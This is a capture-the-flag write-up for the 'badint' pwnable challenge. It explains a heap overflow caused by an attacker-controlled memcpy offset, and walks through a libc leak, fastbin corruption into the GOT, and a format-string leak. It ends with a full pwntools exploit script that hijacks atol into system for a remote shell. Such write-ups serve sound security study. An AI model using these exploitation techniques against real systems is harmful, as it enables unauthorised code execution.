Category: Potent Pwnables
64 bit ELF, Partial RELRO, NX enabled, No canary & PIE. libc not provided.
This C++ program will read some input from user, then store the data into the heap memory:
1
2
3
4
5
6
7
8
9
$ ./badint
SEQ #: 0
Offset: 0
Data: AAAAAAA
LSF Yes/No: Yes
RX PDU [0] [len=4]
Assembled [seq: 0]: aaaaaa0a
SEQ #:
Notice that if we input data AAAA
, the program will convert AAAA
to 0xaaaa
.
According to my teammate, the following input will crash the program:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SEQ #: 1
Offset: 0
Data: 0000000000000000000000000000000000000000000000000000000000000
LSF Yes/No: Yes
RX PDU [1] [len=31]
Assembled [seq: 1]: 00000000000000000000000000000000000000000000000000000000000000
SEQ #: 1
Offset: 0
Data: 111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=20]
Assembled [seq: 1]: 1111111111111111111111111111111111111101
SEQ #: 1
Offset: 18
Data: 22222222222222222222222
LSF Yes/No: Yes
RX PDU [1] [len=12]
Assembled [seq: 1]: 000000000000000022222202
*** Error in `./badint': free(): invalid next size (fast): 0x000000000224a0c0 ***
After done some analyzing, we found the vulnerability:
1
2
3
4
len = (unsigned __int8)get_len(cur_obj);
data = (const void *)get_data(cur_obj);
offset = get_offset(cur_obj);
memcpy((void *)(offset + new_buf), data, len); // <-- Here !!
The program use memcpy(new_buf + offset, data, len)
to copy the input data into a heap buffer. The variable offet
can be controlled by us, and thus lead to a heap overflow vulnerability. The program crashed due to the size
metadata was overwritten into an invalid size, causing the free()
function aborted the program.
Now we spot the vulnerability, time to exploit the service. First we’ll have to leak some address. Here I leaked the libc’s address by doing the following:
1
2
3
4
5
6
7
8
9
$ ./badint
SEQ #: 1
Offset: 8
Data: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=144]
Assembled [seq: 1]: 788ba4952b7f000011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
SEQ #:
Here we set the offset to 8, so the data we input will copy to heap_buf+8
. heap_buf
is a chunk in unsortbin which will be allocated for storing our input data, and thus its fd
& bk
will contain the address of main_arena+88
. We copy the data to heap_buf+8
, means that fd
will not be overwritten, and so we could leak the libc’s address by printing out the assembled data.
The next step is to try hijack the program control flow. Here I decided to use the fastbin corruption attack. First we’ll have to arrange the following heap memory layout:
1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ hip
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0xc26cc0 --> 0x0
(0x40) fastbin[2]: 0xc26c80 --> 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0xc26c20 --> 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0xc26f10 (size : 0x1c0f0)
last_remainder: 0xc26e00 (size : 0x50)
unsortbin: 0x0
gdb-peda$
By using the amazing angelheap from Pwngdb, we could see that there’s a chunk in fastbin[4]
(size = 0x60), and a chunk in fastbin[2]
(size = 0x40).
Then, we allocate the chunk in fastbin[4]
, and copy our data into the chunk. Since there’s a heap overflow vulnerability, we can actually overwrite the data in chunk @ fastbin[2]
– by setting the offet
variable to 0x60
( 0xc26c20
+ 0x60
= 0xc26c80
). We overwrite the fd
pointer in chunk @ fastbin[2]
, making it point to the GOT area. This is because in an x64 non-PIE binary, its GOT entries will contain some address which start with 0x40
(if the function hasn’t been resolved yet):
1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ tel 0x604018
00:0000| 0x604018 --> 0x7fbdea10c800 (<__printf>: sub rsp,0xd8)
-------------------------------------------------------------------------
01:0008| 0x604020 --> 0x400ab6 (<__gmon_start__@plt+6>: push 0x1)
-------------------------------------------------------------------------
02:0016| 0x604028 --> 0x7fbdea126690 (<_IO_puts>: push r12)
03:0024| 0x604030 --> 0x7fbdea723f10 (<operator new[](unsigned long)>: sub rsp,0x8)
04:0032| 0x604038 --> 0x7fbdea721f10 (<operator delete(void*)>: jmp 0x7fbdea71ddb0 <free@plt>)
05:0040| 0x604040 --> 0x7fbdea126e70 (<__GI__IO_setvbuf>: push rbp)
-------------------------------------------------------------------------
06:0048| 0x604048 --> 0x400b06 (<fopen@plt+6>: push 0x6)
-------------------------------------------------------------------------
07:0056| 0x604050 --> 0x7fbdea0d7740 (<__libc_start_main>: push r14)
If we off-set the memory layout in the GOT area, we could found that it actually has some good fastbin[2]
(again, size = 0x40) chunks:
1
2
3
4
5
6
0x604042 <setvbuf@got.plt+2>: 0x0b0600007fbdea12 0x7740000000000040 <-- here
0x604052 <__libc_start_main@got.plt+2>: 0x4ad000007fbdea0d 0x1b7000007fbdea12
0x604062 <strlen@got.plt+2>: 0xdea000007fbdea14 0xc3c000007fbdea0e
0x604072 <signal@got.plt+2>: 0x0b6600007fbdea0e 0x2650000000000040 <-- here
0x604082 <alarm@got.plt+2>: 0x0b8600007fbdea18 0x0b96000000000040 <-- here
0x604092 <dlsym@got.plt+2>: 0x0ba6000000000040 0x0bb6000000000040 <-- and here !
While allocating a fastbin chunk, malloc.c will only check if its size is valid. For example, a chunk in fastbin[2]
must have a size of 0x4X
( yep, even a size of 0x4f
will still pass the check). So, after we overwrite the fd
pointer in the chunk @ fastbin[2]
:
1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ hip
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x1da3cc0 --> 0x0
(0x40) fastbin[2]: 0x1da3c80 --> 0x604042 (size error (0xc740000000000040)) --> 0x9ad000007f5e059a (invaild memory)
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x1da3c20 --> 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x1da3f80 (size : 0x1c080)
last_remainder: 0x1da3e00 (size : 0x50)
unsortbin: 0x0
gdb-peda$
We could see that fastbin[2]
will have a fake chunk @ 0x604042
( no need to worry about the size, malloc.c will only check the size with type unsigned int
, just focus on the first 4 bytes ).
Later we could just allocate the chunk in fastbin[2]
. Once we allocate 0x604042
, we’ll be able to overwrite the GOT entry by copying our data into the fake fastbin chunk.
But there’s one more problem: we don’t know the version of the libc. The libc address we leaked is the address of main_arena+88
, neither libc-database nor libcdb.com can find the libc version with this symbol’s address.
So we’ll have to leak more addresses. However, although we can modify a function’s GOT, there’s no way we can store a GOT entry’s address in the function parameter. Luckily, I still managed to figure out the solution: by using the format string vulnerability.
We could modify atol@got.plt
into printf@got.plt
, which will turn atol(our_input)
into printf(our_input)
, thus we create a format string vulnerability, and we can use the vulnerability to leak an arbitrary address. By doing this, I was able to leak some GOT entries and found the correct version of libc at libcdb.com. After that is simple, we could just hijack atol
’s GOT and call system('sh')
by entering “sh”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "badint_7312a689cf32f397727635e8be495322.quals.shallweplayaga.me"
PORT = 21813
ELF_PATH = "./badint"
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
LIBC_PATH = "./libc-2.19_15.so"
context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach
elf = context.binary # context.binary is an ELF object
libc = ELF(LIBC_PATH)
def add_data(seq, off, data, lsf):
r.sendlineafter("SEQ #:", str(seq))
r.sendlineafter("Offset: ", str(off))
r.sendlineafter("Data: ", data)
r.sendlineafter("Yes/No: ", lsf)
def convert(num):
ret = ""
while num != 0:
now = num & 0xff
num >>= 8
ret = ret + '{:02x}'.format(now)
return ret.ljust(16, "0")
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
add_data(1, 8, "1"*0x90*2, 'Yes')
r.recvuntil("Assembled [seq: 1]: ")
# leak libc address
addr = 0
for i in xrange(6):
addr |= ((int(r.recv(2), 16)) << (i*8))
log.success("addr: " +hex(addr))
# libc.address = addr - 0x3c3b78 # local
libc.address = addr - 0x3be7b8 # remote
log.success("libc_base: " +hex(libc.address))
# gdb.attach(r, gdbscript=open('./ggg', 'r'))
# arrange heap
add_data(2, 0, "2"*0xb0*2, 'Yes')
add_data(2, 0, "3"*0x58*2, 'Yes')
add_data(2, 0, "4"*0x38*2, 'Yes')
# overwrite fastbin->fd ( in size 0x40 )
payload = convert(0x41)
payload += convert(0x604042)
payload += convert(0) * 6
payload += convert(0x31)
payload = payload.ljust(0x58*2, '0')
add_data(2, 0x60-0x8, payload, 'Yes')
# now fastbin (size=0x40) has fake chunk @ got
# allocate the fake chunk
# overwrite got
payload = "6"*12 # libc_start_main
payload += convert(0x400b26) # resolve fgets
payload += convert(0x400b36) # resolve strlen
payload += convert(libc.symbols['system']) # hijack atol
#payload += convert(elf.plt['printf']) # use format string to leak libc info
payload = payload.ljust(110, '0')
add_data(3, 8, payload, 'No')
# hijack atol, send "sh" to get shell
r.sendlineafter("SEQ #:", "sh")
log.success("get shell!: ")
r.interactive()
# for exploiting format string & leak libc info
"""
payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['fgets'])
r.sendlineafter("SEQ #:", payload)
r.recv(1)
print "fgets:", hex(u64(r.recv(6).ljust(8, '\x00')))
payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['puts'])
r.sendlineafter("Offset:", payload)
r.recv(1)
print "puts:", hex(u64(r.recv(6).ljust(8, '\x00')))
"""
flag: All ints are not the same... A239... Some can be bad ints!
Comments powered by Disqus.